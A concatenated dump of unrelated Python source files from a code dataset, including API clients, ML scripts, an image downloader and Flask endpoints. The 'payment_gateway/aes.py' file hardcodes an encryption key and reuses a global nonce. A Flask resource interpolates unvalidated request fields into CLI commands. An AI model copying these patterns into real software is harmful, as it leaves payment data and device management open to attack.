singer\nfrom requests import exceptions\nfrom singer import metrics\nfrom ratelimit import limits, RateLimitException, sleep_and_retry\nimport simplejson\nLOGGER = singer.get_logger()\n\n\nclass Server5xxError(Exception):\n pass\n\n\nclass HubPlannerClient(object):\n BASE_URL = 'https://api.hubplanner.com/v1'\n\n def __init__(self, config):\n self.__api_key = config.get('api_key')\n self.__user_agent = config.get('user_agent')\n self.__session = requests.Session()\n\n def __enter__(self):\n return self\n\n def __exit__(self, type, value, traceback):\n self.__session.close()\n\n @backoff.on_exception(backoff.expo,\n (Server5xxError,\n RateLimitException,\n exceptions.Timeout,\n exceptions.ConnectionError,\n exceptions.ChunkedEncodingError,\n simplejson.scanner.JSONDecodeError),\n max_tries=5,\n factor=2)\n @sleep_and_retry\n @limits(calls=2, period=1)\n def request(self, method, path, **kwargs):\n if 'endpoint' in kwargs:\n endpoint = kwargs['endpoint']\n del kwargs['endpoint']\n else:\n endpoint = None\n\n if 'headers' not in kwargs:\n kwargs['headers'] = {}\n kwargs['headers']['Authorization'] = self.__api_key\n kwargs['headers']['Accept'] = 'application/json'\n kwargs['headers']['Content-Type'] = 'application/json'\n\n if self.__user_agent:\n kwargs['headers']['User-Agent'] = self.__user_agent\n\n with metrics.http_request_timer(endpoint) as timer:\n response = self.__session.request(method,\n self.BASE_URL + path,\n **kwargs)\n timer.tags[metrics.Tag.http_status_code] = response.status_code\n\n if response.status_code >= 500:\n raise Server5xxError()\n\n response.raise_for_status()\n\n try:\n return response.json()\n except BaseException:\n LOGGER.info('response.headers[\"content-type\"]: %s',\n response.headers['content-type'])\n\n raise\n\n def get(self, path, **kwargs):\n return self.request('GET', path, **kwargs)\n","sub_path":"tap_hubplanner/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"624322920","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sb\n\n\ndef Convert(dataset):\n\tdataset2 = dataset\n\tdataset2[\"Full Change\"][(dataset2[\"Regulation\"] == \"down\")] = -(dataset2[\"Full Change\"][dataset2[\"Regulation\"] == \"down\"])\n\treturn dataset2\n\t\"\"\"del dataset2[\"Regulation\"]\n\tdataset3 = dataset2[dataset2[\"Full Change\"] <= -1.5]\n\tdataset4 = dataset3[dataset3[\"Full Change\"] >= 1.5]\n\tprint(dataset4)\n\treturn dataset4\"\"\"\n\t\ndef Heatmap(data):\n\tcolumns = data.columns\n\tj = 0\n\tfor i in columns:\n\t\tif (j > 0):\n\t\t\tdata[i] = data[i] + 100\n\t\tj = j + 1\n\tprint(data)\n\tax = sb.heatmap(data, cmap=\"coolwarm\")\n\tplt.show()\n\tplt.clf()\n\treturn ax\n\t\n\t\n\"\"\"data0 = pd.read_csv(\"sreerna.csv\")\t\ndata1 = Convert(data0)\ndata1.to_csv(\"sreernaedited.csv\")\"\"\"\ndata1 = pd.read_csv(\"sreernaedited3.csv\")\nprint(data1)\ngraph = Heatmap(data1)","sub_path":"sreeheatmap.py","file_name":"sreeheatmap.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"174829609","text":"# title: electrolib.filters.butterfile\n# author: Oscar Benjamin\n# date: 22 Mar 2010\n# description: Defined the ButterFile class which implements Butterworth\n# filtering of EEGFile objects\n\nimport numpy\nfrom electrolib._scipy import signal\n\nfrom electrolib.filters.iirfile import IIRFile\n\nclass ButterFile(IIRFile):\n \"\"\"Specialises IIRFile to implement Butterworth filtering\"\"\"\n def _design_filters(self, head):\n secs = float(head.secsblock)\n fss = [c.nsblock / secs for c in head.chan] # sampling frequencies\n\n cached = {}\n filters = []\n initial_states = []\n for fs in fss:\n # Design and cache\n if fs not in cached:\n fnorm = self._fcrit / (0.5 * fs)\n b, a = signal.butter(self._order, fnorm, btype=self._btype)\n zi = numpy.zeros(max([len(a), len(b)]) - 1)\n cached[fs] = b, a, zi\n # Retrieve cached\n b, a, zi = cached[fs]\n filters.append({'a':a, 'b':b})\n initial_states.append(zi)\n\n return filters, initial_states\n\n","sub_path":"electrolib/filters/butterfile.py","file_name":"butterfile.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"30515787","text":"import requests\nimport os\n\n\ndef download(title,postId, datas):\n folder_path = './bahaImage/' + title\n\n if (os.path.exists(folder_path) == False): # 判斷主資料夾是否存在\n os.makedirs(folder_path) # Create folder\n\n for i, data in enumerate(datas):\n image = requests.get(data)\n\n img_path = folder_path + '/'\n\n if (os.path.exists(img_path) == False): # 判斷副資料夾是否存在\n os.makedirs(img_path) # Create folderF\n # 以byte的形式將圖片數據寫入\n with open(img_path + postId + \"_\" + data.split('/')[-1], 'wb') as file:\n file.write(image.content)\n file.flush()\n file.close() # close file\n print(\"目前:第 {} 張照片,剩餘 {} 張需要下載\".format(\n i + 1, len(datas) - i - 1))\n print((\"---------------\\n\"\n \"{}-圖片下載完成\\n\"\n \"準備下載下一張...\").format(title))\n","sub_path":"downloadImage.py","file_name":"downloadImage.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"334132037","text":"from __future__ import unicode_literals\n\nclass RenderContext(object):\n \"\"\"\n :attr prompt: :class:`~prompt_toolkit.prompt.PromptBase` instance.\n :attr code_obj: :class:`~prompt_toolkit.code.Code` instance.\n :param accept: True when the user accepts the input, by pressing enter.\n (In that case we don't highlight the current line, and\n set the mouse cursor at the end.)\n :param abort: True after Ctrl-C abort.\n :param highlight_regions: `None` or list of (start,len) tuples of the\n characters to highlight.\n \"\"\"\n def __init__(self, prompt, code_obj, accept=False, abort=False, highlight_regions=None, complete_state=None, validation_error=None):\n assert not (accept and abort)\n\n self.prompt = prompt\n self.code_obj = code_obj\n self.accept = accept\n self.abort = abort\n self.highlight_regions = highlight_regions\n self.complete_state = complete_state\n self.validation_error = validation_error\n","sub_path":"prompt_toolkit/render_context.py","file_name":"render_context.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"53747471","text":"import argparse\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom algorithms.common.helper_functions import identity\nfrom algorithms.common.networks.mlp import init_layer_uniform\nfrom algorithms.dqn.agent import DQNAgent\nfrom algorithms.dqn.linear import NoisyLinearConstructor\nfrom algorithms.dqn.networks import C51DuelingMLP\n\nfrom env.torcs_envs import DefaultEnv\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nhyper_params = {\n \"N_STEP\": 3,\n \"GAMMA\": 0.99,\n \"TAU\": 5e-3,\n \"W_N_STEP\": 1.0,\n \"W_Q_REG\": 1e-7,\n \"BUFFER_SIZE\": int(1e5),\n \"BATCH_SIZE\": 32,\n \"LR_DQN\": 1e-4, # dueling: 6.25e-5\n \"ADAM_EPS\": 1e-8, # rainbow: 1.5e-4\n \"WEIGHT_DECAY\": 1e-7,\n \"MAX_EPSILON\": 1.0,\n \"MIN_EPSILON\": 0.01,\n \"EPSILON_DECAY\": 1e-5,\n \"PER_ALPHA\": 0.6,\n \"PER_BETA\": 0.4,\n \"PER_EPS\": 1e-6,\n \"GRADIENT_CLIP\": 10.0,\n \"UPDATE_STARTS_FROM\": int(1e4),\n \"TRAIN_FREQ\": 1,\n \"MULTIPLE_LEARN\": 1,\n # Distributional Q function\n \"USE_DIST_Q\": \"C51\",\n \"V_MIN\": -300,\n \"V_MAX\": 300,\n \"ATOMS\": 1530,\n # NoisyNet\n \"USE_NOISY_NET\": True,\n \"STD_INIT\": 0.5,\n # Brake\n \"BRAKE_ENABLE\": False,\n \"BRAKE_REGION\": int(2e5),\n \"BRAKE_DIST_MU\": int(1e5),\n \"BRAKE_DIST_SIGMA\": int(3e4),\n \"BRAKE_FACTOR\": 0.04\n}\n\n\ndef init(env: DefaultEnv, args: argparse.Namespace):\n\n # create model\n def get_fc_model():\n hidden_sizes = [128, 128, 128]\n\n if hyper_params[\"USE_NOISY_NET\"]:\n # use noisy net\n linear_layer = NoisyLinearConstructor(hyper_params[\"STD_INIT\"])\n init_fn = identity\n hyper_params[\"MAX_EPSILON\"] = 0.0\n hyper_params[\"MIN_EPSILON\"] = 0.0\n else:\n linear_layer = nn.Linear\n init_fn = init_layer_uniform\n\n model = C51DuelingMLP(\n input_size=env.state_dim,\n action_size=env.action_dim,\n hidden_sizes=hidden_sizes,\n v_min=hyper_params[\"V_MIN\"],\n v_max=hyper_params[\"V_MAX\"],\n atom_size=hyper_params[\"ATOMS\"],\n linear_layer=linear_layer,\n init_fn=init_fn,\n ).to(device)\n\n return model\n\n dqn = get_fc_model()\n dqn_target = get_fc_model()\n dqn_target.load_state_dict(dqn.state_dict())\n\n # create optimizer\n dqn_optim = optim.Adam(\n dqn.parameters(),\n lr=hyper_params[\"LR_DQN\"],\n weight_decay=hyper_params[\"WEIGHT_DECAY\"],\n )\n\n models = (dqn, dqn_target)\n\n agent = DQNAgent(env, args, hyper_params, models, dqn_optim)\n\n return agent\n","sub_path":"torcs/dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":2597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"146114645","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.utils import shuffle\nfrom LP_util import get_robert_frost\nfrom os import getcwd\n\n'''\nLanguage model that learns from Robert Frost poems (robert_frost.txt) to create\nword embeddings that can be used to generate Robert Frost flavoured gibberish.\nSimilar architecture to the SimpleRNN used for the parity problem, but with an\nadditional embedding layer at the bottom (beginning). Sentences are converted\nfrom integer arrays (indices) to one-hot vocab matrices, then fed through the\nnetwork. Trained in an unsupervised manner, trying to predict the next word,\ngiven the previous words. This v2 is simply a cleaned up version of v1, with\nmore graph building moved in to build(), rather than living in fit(). Also,\nusing the same number of RNN nodes as embedding dimensions, leading to much\nhigher classification rate. Possibly overfit? But v1 with M=20 was p silly.\n'''\n\n\ndef init_weight(M1, M2):\n '''\n The weights being small is really important, my pytorch implementation did\n not work until I remembered to divide the randn weights like so.\n '''\n return np.random.randn(M1, M2) / np.sqrt(M1 + M2)\n\n\nclass RNNunit(object):\n def __init__(self, M1, M2):\n self.M1 = M1 # input size\n self.M2 = M2 # hidden layer size\n self.build()\n\n def build(self):\n # input weight\n self.Wx = tf.Variable(\n init_weight(self.M1, self.M2).astype(np.float32))\n # hidden weight\n self.Wh = tf.Variable(\n init_weight(self.M2, self.M2).astype(np.float32))\n # hidden bias\n self.bh = tf.Variable(np.zeros(self.M2, dtype=np.float32))\n # initial hidden repesentation\n self.h0 = tf.Variable(np.zeros(self.M2, dtype=np.float32))\n self.params = [self.Wx, self.Wh, self.bh, self.h0]\n\n def forward(self, X):\n 'Multiply X with input weights.'\n return tf.matmul(X, self.Wx)\n\n def recurrence(self, last, new):\n # reshape recurrent input, since output is shape (M2,), and new\n # has the shape of (1, M2), since it is a single timestep with M2\n # dimensions (X already multiplied with Wx)\n last = tf.reshape(last, (1, self.M2))\n hidden = tf.nn.relu(new + tf.matmul(last, self.Wh) + self.bh)\n return tf.reshape(hidden, (self.M2,))\n\n def scanner(self, X):\n '''\n The recurrent loop of this simple RNN layer. h0 is the \"last\" arg\n for the first element of the input. We are initializing at zero.\n '''\n self.scan = tf.scan(\n fn=self.recurrence, # run this on each element of the input\n elems=self.forward(X), # X @ Wx (input weights)\n initializer=self.h0, # zeros\n )\n return self.scan\n\n\nclass HiddenLayer(object):\n '''\n Simple layer with optional non-linearity, and bias. For example, can be\n used to get logits by setting activation=None.\n '''\n def __init__(self, M1, M2, bias=True, activation=tf.nn.relu):\n self.M1 = M1 # input size\n self.M2 = M2 # hidden layer size\n self.bias = bias\n self.activation = activation\n self.build()\n\n def build(self):\n self.W = tf.Variable(init_weight(self.M1, self.M2).astype(np.float32))\n if self.bias:\n self.b = tf.Variable(np.zeros(self.M2, dtype=np.float32))\n self.params = [self.W, self.b]\n else:\n self.params = [self.W]\n\n def forward(self, X):\n X = tf.matmul(X, self.W)\n X = X + self.b if self.bias else X\n X = self.activation(X) if self.activation is not None else X\n return X\n\n\nclass LanguageRNN(object):\n def __init__(self, V, D, M, folder=''):\n self.V = V\n self.D = D\n self.M = M # hidden layer size\n self.build()\n # for saving (and loading) graph Variables\n self.path = getcwd() + '/' + folder + '/'\n self.saver = tf.train.Saver()\n\n def build(self):\n # layers and parameters\n self.embed = HiddenLayer(self.V, self.D, bias=False, activation=None)\n self.rnnUnit = RNNunit(self.D, self.M)\n self.logistic = HiddenLayer(self.M, self.V, activation=None)\n self.layers = [self.embed, self.rnnUnit, self.logistic]\n self.params = [p for layer in self.layers for p in layer.params]\n\n # graph data placeholders\n self.tfX = tf.placeholder(tf.float32, shape=(None, self.V), name='X')\n self.tfY = tf.placeholder(tf.int32, shape=(None,), name='Y')\n\n # graph functions\n # full forward pass to output (logits, cost will do the softmax)\n self.logits = self.logistic.forward(\n self.rnnUnit.scanner(self.embed.forward(self.tfX)))\n # softmax of logits for poem-generation probabiliities\n self.output_probs = tf.nn.softmax(self.logits)\n self.cost = tf.reduce_mean(\n tf.nn.sparse_softmax_cross_entropy_with_logits(\n labels=self.tfY,\n logits=self.logits,\n )\n )\n self.predict_op = tf.argmax(self.logits, axis=1)\n\n def fit(self, sentences, word2idx, lr=1e-2, epochs=100, show_fig=False,\n save_model=False, load_model=False):\n\n N = len(sentences)\n X, Y = self.vector_matrices(sentences, word2idx)\n\n self.train_op = tf.train.AdamOptimizer(lr).minimize(self.cost)\n\n init = tf.global_variables_initializer()\n with tf.Session() as sess:\n sess.run(init)\n if load_model:\n self.saver.restore(sess, self.path+'model.ckpt')\n\n epoch_costs, epoch_accs = [], []\n for i in range(epochs):\n X, Y = shuffle(X, Y)\n accuracy = 0\n epoch_cost = 0\n # run through one sample at a time\n for j in range(N):\n _, c, p = sess.run(\n [self.train_op, self.cost, self.predict_op],\n feed_dict={self.tfX: X[j], self.tfY: Y[j]})\n\n epoch_cost += c\n\n # calculate % accuracy for this epoch\n accuracy += np.sum(p == Y[j]) / p.shape\n\n epoch_costs.append(epoch_cost)\n epoch_accs.append(accuracy/N)\n print(\"epoch:\", i, \"cost:\", epoch_cost,\n \"classification rate:\", (accuracy/N))\n\n if save_model:\n save_path = self.saver.save(sess, self.path+'model.ckpt')\n print(\"Model saved in path: %s\" % save_path)\n\n if show_fig:\n fig, axes = plt.subplots(1, 2)\n axes[0].plot(epoch_costs)\n axes[0].set_xlabel('Epoch')\n axes[0].set_ylabel('Cost')\n axes[1].plot(epoch_accs)\n axes[1].set_xlabel('Epoch')\n axes[1].set_ylabel('Accuracy')\n fig.tight_layout()\n plt.show()\n\n def generate(self, init_word_prob, word2idx, load_model=False):\n # convert word2idx -> idx2word\n idx2word = {v: k for k, v in word2idx.items()}\n V = len(init_word_prob)\n\n # generate 4 lines at a time\n n_lines = 0\n\n # pick a word to start the line based on frequency of each word\n # starting lines in the training dataset\n X = np.zeros((1, V)) # do one-hot because of how I built the net\n # can see the benefit of feeding the network the idxs better now\n word_idx = np.random.choice(V, p=init_word_prob)\n X[0, word_idx] = 1\n\n print(idx2word[word_idx], end=\" \") # end='\\n' by default\n\n init = tf.global_variables_initializer()\n with tf.Session() as sess:\n sess.run(init)\n if load_model:\n self.saver.restore(sess, self.path+'model.ckpt')\n while n_lines < 4:\n next_probs = sess.run(self.output_probs,\n feed_dict={self.tfX: X})[-1] # last one\n # draw the next word based on predicted probabilities\n word_idx = np.random.choice(V, p=next_probs)\n one_hot = np.zeros((1, V))\n one_hot[0, word_idx] = 1\n X = np.concatenate([X, one_hot], axis=0)\n if word_idx > 1:\n # it's a real word, not start/end token\n word = idx2word[word_idx]\n print(word, end=\" \")\n elif word_idx == 1:\n # end of line predicted (end token)\n n_lines += 1\n print('') # moves to next line of output in terminal\n if n_lines < 4:\n # reset to start of line\n X = np.zeros((1, V))\n word_idx = np.random.choice(V, p=init_word_prob)\n X[0, word_idx] = 1\n print(idx2word[word_idx], end=\" \")\n\n @staticmethod\n def one_hot_sentences(sentences, V):\n hot_mats = []\n for sentence in sentences:\n matrix = np.zeros((len(sentence), V))\n matrix[np.arange(len(sentence)), sentence] = 1\n hot_mats.append(matrix)\n return hot_mats\n\n def vector_matrices(self, sentences, word2idx):\n V = len(word2idx)\n hot_mats = self.one_hot_sentences(sentences, V)\n startVec = np.zeros(V).reshape(1, V)\n startVec[0, word2idx['START']] = 1\n X = [np.concatenate([startVec, sample], axis=0) for sample in hot_mats]\n Y = [np.concatenate([s, [word2idx['END']]]) for s in sentences]\n return X, Y\n\n\ndef train_language(lr=1e-2, epochs=200):\n sentences, word2idx = get_robert_frost()\n\n N = len(sentences) # number of lines of poetry\n V = len(word2idx) # len returns number of pairs in dict\n print('Number of Sentences:', N, 'Vocabulary size:', V)\n D = 50 # embedding dimensions\n nodes = 50\n rnn = LanguageRNN(V, D, nodes, folder='frost_model_v2')\n rnn.fit(sentences, word2idx, lr=lr, epochs=epochs, show_fig=True,\n save_model=False, load_model=True)\n\n return rnn\n\n\ndef generate_poem(model=None):\n sentences, word2idx = get_robert_frost()\n V = len(word2idx) # len returns number of pairs in dict\n D = 50 # embedding dimensions\n nodes = 50\n\n # determine initial state distribution for starting sentences\n # num of appearances of each word at start of line divided by num sentences\n init_word_prob = np.zeros(V)\n for sentence in sentences:\n init_word_prob[sentence[0]] += 1\n init_word_prob /= init_word_prob.sum()\n\n if not model:\n model = LanguageRNN(V, D, nodes, folder='frost_model_v2')\n model.generate(init_word_prob, word2idx, load_model=True)\n else:\n model.generate(init_word_prob, word2idx, load_model=False)\n\n\nif __name__ == '__main__':\n # rnn = train_language(lr=1e-3, epochs=100)\n # generate_poem(rnn)\n generate_poem()\n","sub_path":"LP_recurrent/frost_generator_v2.py","file_name":"frost_generator_v2.py","file_ext":"py","file_size_in_byte":11109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"612280800","text":"from Crypto.Cipher import AES\n\nKEY = b'\\xd0\\x9cNs\\x9c\\x08c\\xd7\\x81h\\x08\\xdd\\xc8b5\\xf8' #16 byte long key (os.urandom())\n\ndef encrypt_text(data):\n cipher = AES.new(KEY, AES.MODE_EAX)\n global nonce \n nonce = cipher.nonce\n data = str(data)\n ciphertext, tag = cipher.encrypt_and_digest(str.encode(data))\n return {\"ciphertext\": ciphertext, \"tag\": tag}\n\ndef decrypt_text(ciphertext, tag):\n cipher = AES.new(KEY, AES.MODE_EAX, nonce=nonce)\n plaintext = cipher.decrypt(ciphertext)\n return plaintext.decode()\n","sub_path":"payment_gateway/payment_gateway/aes.py","file_name":"aes.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"245447533","text":"# -*- coding: utf-8 -*-\n__author__ = 'taw'\n\nfrom flaskext.AuthManager.authmanager import get_current_user_cli\nfrom flaskext.tawrestful import Resource\nfrom flask.ext.restful import reqparse\nfrom flaskext.template import _S\nfrom pycli.cpickle import load\nfrom pycli.api.restful import get_device_info, get_client\nfrom .. import api\n\nparser = reqparse.RequestParser()\nparser.add_argument('client_id')\nparser.add_argument('enable_or_not')\nparser.add_argument('port')\nparser.add_argument('name')\n\n\nclass Junior_management(Resource):\n\n def __init__(self):\n self.cli = get_current_user_cli()\n # def get(self):\n # temp = load(\"system_deploy\")\n # res = temp['sysdeploy']['center']\n # res['client_table'] = []\n # for one_record in temp['sysdeploy']['center']['client']:\n\n # res['client_table'].append({'client_id':one_record})\n # return res\n def get(self):\n self.cli('service restful center show')\n temp = load(\"system_deploy\")\n client_result = temp['sysdeploy']['center']\n client_list = get_client()\n client_result['item'] = []\n for one_client in client_list:\n client_info = get_device_info(one_client[\"client_id\"])\n temp_dic = {\n 'device_id': one_client[\"client_id\"],\n 'name': one_client[\"name\"],\n 'mem': client_info['state']['mem'],\n 'status': client_info['state']['status'],\n 'disk': client_info['state']['disk'],\n 'cpu': client_info['state']['cpu'],\n 'time': client_info['state']['time']\n }\n client_result['item'].append(temp_dic)\n return client_result\n\n def patch(self):\n # 启用禁用管理模式\n # enable_or_not为枚举值,仅有enable和disable两种取值\n args = parser.parse_args()\n if args.get('enable_or_not') is None:\n return {'success': False, 'msg': 'enable or not is empty'}\n enable_or_not = args.get('enable_or_not').encode('utf-8')\n res = self.cli('service restful center %s' % (enable_or_not,))\n if res is not None:\n if 'message' in res:\n res['message'] = _S(res['message'])\n return {'success': False, 'msg': res}\n return self.get()\n\n def post(self):\n # 添加下级设备\n args = parser.parse_args()\n if args.get('client_id') is None:\n return {'success': False, 'msg': _S('client_id empty')}\n if args.get('name') is None:\n return {'success': False, 'msg': _S('name empty')}\n client_id = args.get('client_id').encode('utf-8')\n name = args['name'].encode('utf-8')\n res = self.cli(\n 'service restful center add client_id %s name %s' %\n (client_id, name))\n if res is not None:\n if 'message' in res:\n res['message'] = _S(res['message'])\n return {'success': False, 'msg': res}\n return self.get()\n\n def put(self):\n # 修改本级设备的端口\n args = parser.parse_args()\n if parser.add_argument('port') is not None:\n command = 'service restful center set port %s' % (args.get('port'))\n res = self.cli(command)\n if res is not None:\n if 'message' in res:\n res['message'] = _S(res['message'])\n return {'success': False, 'msg': res}\n return self.get()\n\n def delete(self, client_id):\n # 删除下级设备\n res = self.cli(\n 'service restful center delete client_id %s' %\n (client_id))\n if res is not None:\n if 'message' in res:\n res['message'] = _S(res['message'])\n return {'success': False, 'msg': res}\n return self.get()\n\napi.add_resource(\n Junior_management,\n '/systemmanage/level_manage/junior_management',\n '/systemmanage/level_manage/junior_management/')\n","sub_path":"modules/api/restful/systemmanage/level_manage/junior_management.py","file_name":"junior_management.py","file_ext":"py","file_size_in_byte":4013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"606331421","text":"import FWCore.ParameterSet.Config as cms\n\nfrom CalibPPS.ESProducers.totemDAQMappingESSourceXML_cfi import totemDAQMappingESSourceXML as _xml\n\ntotemDAQMappingESSourceXML = _xml.clone(\n subSystem = \"TotemT2\",\n multipleChannelsPerPayload = cms.untracked.bool(False),\n configuration = cms.VPSet(\n #initial dummy diamond map copy\n cms.PSet(\n validityRange = cms.EventRange(\"1:min - 364982:max\"),\n mappingFileNames = cms.vstring(\"CondFormats/PPSObjects/xml/mapping_totem_nt2_2021.xml\"),\n maskFileNames = cms.vstring()\n ),\n #T2 firmware test files\n cms.PSet(\n validityRange = cms.EventRange(\"364983:min - 999999999:max\"),\n mappingFileNames = cms.vstring(\"CondFormats/PPSObjects/xml/mapping_totem_nt2_2023.xml\"),\n maskFileNames = cms.vstring()\n )\n ),\n sampicSubDetId = cms.uint32(6),\n)\n","sub_path":"CalibPPS/ESProducers/python/totemT2DAQMapping_cff.py","file_name":"totemT2DAQMapping_cff.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"240000076","text":"import pandas as pd\nfrom urllib.error import URLError\n\nsheet_id = \"1TCixO6WXSW0jKYBdAKXaXXvEk_DVjqFIAGNDfqA54_M\"\ngid = 880188181\n\nurl = f\"https://docs.google.com/spreadsheets/d/{sheet_id}/export?format=csv&gid={gid}\"\n\n\ndef run():\n\n outfile = 'uaz_covid_testing_data.csv'\n try:\n df = pd.read_csv(url)\n\n print(f\"Writing : {outfile}\")\n df.to_csv(outfile, index=False)\n except URLError:\n print(\"Unable to retrieve data from URL !\")\n","sub_path":"google_sheet_retrieval/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"275792966","text":"from tqdm import tqdm\nimport librosa, os, json\nimport numpy as np\n\ndef get_beats(y, sr):\n '''\n args: y, sr\n output: if have no beats label, will use this function\n beats_nums timestamps list.\n '''\n #y, sr = librosa.load(filepath)\n tempo, beats = librosa.beat.beat_track(y=y, sr=sr)\n return list(beats)\n\ndef get_melScale_logSpectrogram(y, sr):\n '''\n args: y, sr\n output: times * 128 np.array\n '''\n def normalize(X):\n X = X.reshape((128, -1))\n means = X.mean(axis=1)\n stds = X.std(axis= 1, ddof=1)\n X= X - means[:, np.newaxis]\n X= X / stds[:, np.newaxis]\n return X.reshape((-1, 128))\n S = librosa.feature.melspectrogram(y=y, sr=sr, n_mels=128, fmax=8000)\n S = np.transpose(np.log(1+10000*S))\n return normalize(S)\n #return S\n\ndef get_beats_msls(filepath, beats=[]): # read beats from annotations\n\n y, sr = librosa.load(filepath) # just load once\n assert sr == 22050 # just assert once\n if beats == []: # calculate beats by self\n beats = get_beats(y, sr)\n msls = get_melScale_logSpectrogram(y, sr)\n\n # we get np.array of 3 * 128, (beats-1 & beats & beats+1)\n lstm_input = np.concatenate((msls[beats-1].reshape((-1,1,128)), msls[beats].reshape((-1,1,128)), msls[beats+1].reshape((-1,1,128))), axis=1)\n ###########################################\n ### ###\n ### we have not consider condition ###\n ### of beats-1<0 & beats+1>max_beats ###\n ### ###\n ###########################################\n return lstm_input\n\nif __name__ == '__main__':\n pass\n \n","sub_path":"icassp2020/feature.py","file_name":"feature.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"187313920","text":"\ndef AddClick(sender, context):\n app = context.OwnerForm.ClientApplication\n frm = app.CreateForm('KSM/fAddPenyakit', 'fAddPenyakit', 0, None, None)\n frm.FormContainer.Show()\n context.Refresh()\n\ndef ViewClick(sender, context):\n app = context.OwnerForm.ClientApplication\n key = context.KeyObjConst\n\n ph = app.CreateValues(['key', key])\n frm = app.CreateForm('KSM/fViewPenyakit', 'fViewPenyakit', 0, ph, None)\n frm.FormContainer.Show()\n context.Refresh()\n\ndef EditClick(sender, context):\n app = context.OwnerForm.ClientApplication\n key = context.KeyObjConst\n\n ph = app.CreateValues(['key', key])\n frm = app.CreateForm('KSM/fEditPenyakit', 'fEditPenyakit', 0, ph, None)\n frm.FormContainer.Show()\n context.Refresh()\n \ndef DeleteClick(sender, context):\n key = context.KeyObjConst\n context.OwnerForm.pyFormObject.Hapus(key)\n context.Refresh()\n\n","sub_path":"menus/popupmenus/KSM/MnuPenyakit.py","file_name":"MnuPenyakit.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"639561890","text":"class InvalidDirectionError(Exception):\n \"\"\"Exception thrown for an invalid bus/train direction\"\"\"\n\n def __init__(self, direction_provided: str, message: str = None):\n if not message:\n message = f'{direction_provided} is an invalid direction.'\n super(Exception, self).__init__(message)\n\n\nclass InvalidVehicleTypeError(Exception):\n \"\"\"Exception thrown for an invalid vehicle type\"\"\"\n\n def __init__(self, vehicle_type_provided: str, message: str = None):\n if not message:\n message = f'{vehicle_type_provided} is an invalid vehicle type.'\n super(Exception, self).__init__(message)\n\n\nclass InvalidTrainLineError(Exception):\n \"\"\"Exception thrown for an invalid train line\"\"\"\n\n def __init__(self, line_provided: str, message: str = None):\n if not message:\n message = f'{line_provided} is an invalid train line.'\n super(Exception, self).__init__(message)\n\n\nclass InvalidTrainLineCodeError(Exception):\n \"\"\"Exception thrown for an invalid train line code\"\"\"\n\n def __init__(self, line_code_provided: str, message: str = None):\n if not message:\n message = f'{line_code_provided} is an invalid train line code.'\n super(Exception, self).__init__(message)\n","sub_path":"marta/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"250260454","text":"# http://flask.pocoo.org/docs/1.0/views/\n# https://ourcodeworld.com/articles/read/434/top-5-best-free-jquery-and-javascript-dynamic-gantt-charts-for-web-applications\n\n#https://github.com/wbkd/awesome-d3\n\nfrom flask import render_template, request, json, session, abort\nfrom flask.views import View, MethodView\nfrom app import app\n#app and session are defined in __init__.py . everything in init.py gets defined when referencing the containing folder in python\nfrom app import db, models, json_schema\nimport random\nimport string\nimport matplotlib\nimport matplotlib.cm as cm\nfrom flask.json import jsonify\n\nimport collections\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField\nfrom wtforms import validators as valid\nfrom werkzeug.datastructures import MultiDict\nfrom flask_inputs import Inputs # https://pythonhosted.org/Flask-Inputs/\n\n\ndef nested_class_test(json_dict, value_rule_dict):\n \"\"\"\n Function to produce a dynamic class for validation checking\n Flattens a nested dict down\n\n Example usage:\n test_case_false = nested_class_test({'username':None},\n {'username': [DataRequired(),]})\n test_case_false.validate() \n\n returns False \n \"\"\"\n def flatten(d, parent_key='', sep='___'):\n # https://stackoverflow.com/questions/6027558/flatten-nested-python-dictionaries-compressing-keys\n items = []\n for k, v in d.items():\n new_key = parent_key + sep + k if parent_key else k\n if isinstance(v, collections.MutableMapping):\n items.extend(flatten(v, new_key, sep=sep).items())\n else:\n items.append((new_key, v))\n return dict(items)\n\n class inner_value_class:\n def __init__(self, json_dict):\n self.values = MultiDict(mapping = flatten(json_dict))\n\n class inner_rule_class(Inputs):\n values = flatten(value_rule_dict)\n\n return inner_rule_class(inner_value_class(json_dict))\n\n\n\n\n# https://stackoverflow.com/questions/32062097/using-flask-wtforms-validators-without-using-a-form\n\n# hashed passwords\n\n\n#from flask.ext.api import status\n# return content, 